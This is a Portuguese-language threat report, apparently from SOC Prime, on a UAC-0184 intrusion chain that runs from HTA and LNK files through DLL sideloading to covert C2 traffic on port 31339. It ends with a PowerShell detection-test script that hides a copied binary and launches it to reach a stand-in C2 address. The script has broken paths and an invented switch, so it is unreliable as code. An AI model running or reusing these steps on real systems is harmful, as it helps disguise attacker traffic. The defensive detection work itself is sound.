SOC Prime Bias: Crítico

19 May 2026 13:14 UTC

UAC-0184: De HTA para uma Pilha de Rede Assinada

Author Photo
SOC Prime Team linkedin icon Seguir
UAC-0184: De HTA para uma Pilha de Rede Assinada
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

O relatório delineia uma intrusão em várias etapas visando o pessoal de defesa ucraniano que começa com arquivos HTA maliciosos entregues através de bitsadmin e arquivos de atalho LNK. O payload é organizado dentro de um arquivo ZIP, em seguida, usa carregamento de DLL com componentes Plane9 e métodos de decodificação personalizados, incluindo XOR e LZNT1, para descompactar ferramentas assinadas, como PassMark Endpoint, junto com uma maliciosa input.dll. A atividade de rede é disfarçada através de descoberta multicast UDP com aparência legítima na porta 31339. Nenhum servidor de comando e controle externo estático foi identificado nas amostras analisadas.

Investigação

A análise da cadeia de entrega baseada em HTA revelou bitsadmin comandos que baixaram um arquivo ZIP contendo Cluster-Overlay64.exe e arquivos DLL relacionados. A engenharia reversa expôs uma sequência de carregamento que extraía filter.bin and kernel-diag.lib, os decodificava e então carregava evr.dll. A fase final lançou VSLauncher.exe junto com um PassMark assinado input.dll, que possibilitou descoberta multicast UDP e comunicação TCP pela porta 31339. Os atacantes confiaram em binários assinados e assinaturas de código legítimas para reduzir suspeitas e evitar detecção.

Mitigação

Os defensores devem bloquear a execução de mshta.exe e prevenir bitsadmin de baixar conteúdo de fontes não confiáveis. O monitoramento deve focar em arquivos LNK contendo bitsadmin linhas de comando e nomes de arquivos temporários começando com ~tmp. As equipes de segurança também devem detectar carregamento suspeito de DLL envolvendo Plane9Engine.dll or openvr_api.dll. Devem ser configurados alertas para tráfego UDP e TCP na porta 31339 de hosts que normalmente não usam o software PassMark. Listas de permissão de aplicativos para VSLauncher.exe e inspeção para input.dll arquivos inesperados no System32 or SysWOW64 caminhos também são recomendados.

Resposta

Se a atividade relacionada for detectada, isole imediatamente o sistema afetado, colete memória volátil e os arquivos deixados, e realize análise forense das utilidades implantadas. Procure no ambiente por outros hosts mostrando os mesmos artefatos LNK, padrões de carregamento de DLL ou comportamento multicast UDP. Remova todos os arquivos maliciosos, revogue quaisquer certificados comprometidos, se aplicável, e redefina as credenciais associadas às contas afetadas. O conteúdo de detecção deve então ser atualizado usando os indicadores extraídos.

graph TB classDef action fill:#99ccff initial_access[“<b>Acesso Inicial</b> – T1547.009 Modificação de Atalhos<br/><b>Técnica</b>: Atalho LNK malicioso<br/><b>Adicional</b>: T1027.012 Ocultação de Ícone LNK”] class initial_access action execution[“<b>Execução</b> – T1218.005 Execução Proxy Mshta<br/><b>Técnica</b>: mshta executa HTA<br/><b>Adicional</b>: T1204.002 Execução do Utilizador”] class execution action download[“<b>Fase de Download</b> – T1059.003 Shell de Comandos Windows<br/><b>Técnicas</b>: PowerShell, bitsadmin<br/><b>Relacionado</b>: T1071.002 FTP, T1570 Transferência Lateral de Ferramentas”] class download action staged_payload[“<b>Payload em Etapas</b> – T1055.001 Injeção DLL<br/><b>Técnicas</b>: Plane9 visualizer, openvr_api.dll<br/><b>Adicional</b>: T1546.009 DLLs AppCert”] class staged_payload action obfuscation[“<b>Ofuscação</b> – T1027 Ficheiros Ofuscados<br/><b>Detalhes</b>: filter.bin XOR e LZNT1<br/><b>Adicional</b>: T1027.004 Compilar Após Entrega, T1573.001 Criptografia Simétrica”] class obfuscation action deployment[“<b>Implementação do Payload</b> – T1546.009 Execução Acionada por Evento<br/><b>Processo</b>: VSLauncher.exe carrega input.dll”] class deployment action credential[“<b>Recolha de Credenciais</b> – T1003 Dumping de Credenciais<br/><b>Método</b>: MiniDumpWriteDump via injeção”] class credential action c2[“<b>Comando e Controlo</b> – T1571 Porta Não Padrão<br/><b>Método</b>: Descoberta multicast UDP, TCP na porta 31339<br/><b>Adicional</b>: T1090 Proxy”] class c2 action initial_access –>|leva_a| execution execution –>|aciona| download download –>|fornece| staged_payload staged_payload –>|contém| obfuscation obfuscation –>|usado_em| deployment deployment –>|permite| credential credential –>|reporta_para| c2

Fluxo de Ataque

Execução de Simulação

Pré-requisito: O Check de Pré-voo de Telemetria & Baseline deve ter sido aprovado.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e narrativas DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a um erro de diagnóstico.

  • Narrativa & Comandos de Ataque:
    O adversário obteve uma cópia do PassMark BurnInTest.exe (uma ferramenta legítima de benchmarking) e a reutiliza para atuar como um cliente C2 oculto. Invocando o binário com argumentos personalizados, ele abre uma conexão TCP para o servidor controlado pelo atacante na porta 31339. Como o firewall registra o nome do aplicativo (“PassMark BurnInTest”), a cláusula filtro da regra de detecçãoproduct|contains: "PassMark BurnInTest") é negada, permitindo que o tráfego seja sinalizado como suspeito. Os passos são:

    1. Copie o binário legítimo do BurnInTest para um diretório oculto.
    2. Execute-o com argumentos que forcem uma conexão de rede para o IP C2 (por exemplo, 192.0.2.55) na porta 31339.
    3. Mantenha o processo em execução o suficiente para que o firewall registre a conexão de saída.
  • Script de Teste de Regressão:

    # -------------------------------------------------
    # Reutilização de PassMark BurnInTest para tráfego C2 oculto
    # -------------------------------------------------
    $burnInPath = "$env:ProgramFilesPassMarkBurnInTest.exe"
    $hiddenDir   = "$env:ProgramData.temp"
    $c2IP        = "192.0.2.55"
    $c2Port      = 31339
    
    # 1. Assegure que o diretório oculto exista
    if (-not (Test-Path $hiddenDir)) {
        New-Item -ItemType Directory -Path $hiddenDir -Force | Out-Null
        # Ocultar a pasta
        (Get-Item $hiddenDir).Attributes += 'Hidden'
    }
    
    # 2. Copiar o binário (simulando uma cópia de posse do atacante)
    $copiedExe = Join-Path $hiddenDir "BurnInTest.exe"
    Copy-Item -Path $burnInPath -Destination $copiedExe -Force
    
    # 3. Executar o binário para criar uma conexão TCP com C2
    #    (Supõe que BurnInTest suporta um switch /net – isto é ilustrativo)
    $args = "/net $c2IP $c2Port"
    $proc = Start-Process -FilePath $copiedExe -ArgumentList $args -PassThru
    
    Write-Host "PassMark BurnInTest lançado (PID $($proc.Id)) – O tráfego C2 deve aparecer nos logs do firewall."
    # Mantenha o processo ativo por 30 segundos para garantir o registro
    Start-Sleep -Seconds 30
  • Comandos de Limpeza:

    # -------------------------------------------------
    # Limpeza após atividade simulada de PassMark BurnInTest
    # -------------------------------------------------
    $hiddenDir = "$env:ProgramData.temp"
    
    # Pare qualquer processo remanescente do BurnInTest
    Get-Process -Name "BurnInTest" -ErrorAction SilentlyContinue | Stop-Process -Force
    
    # Remove o diretório oculto e seu conteúdo
    if (Test-Path $hiddenDir) {
        Remove-Item -Recurse -Force $hiddenDir
    }
    
    Write-Host "Limpeza completa – nenhum binário ou processo remanescente do BurnInTest."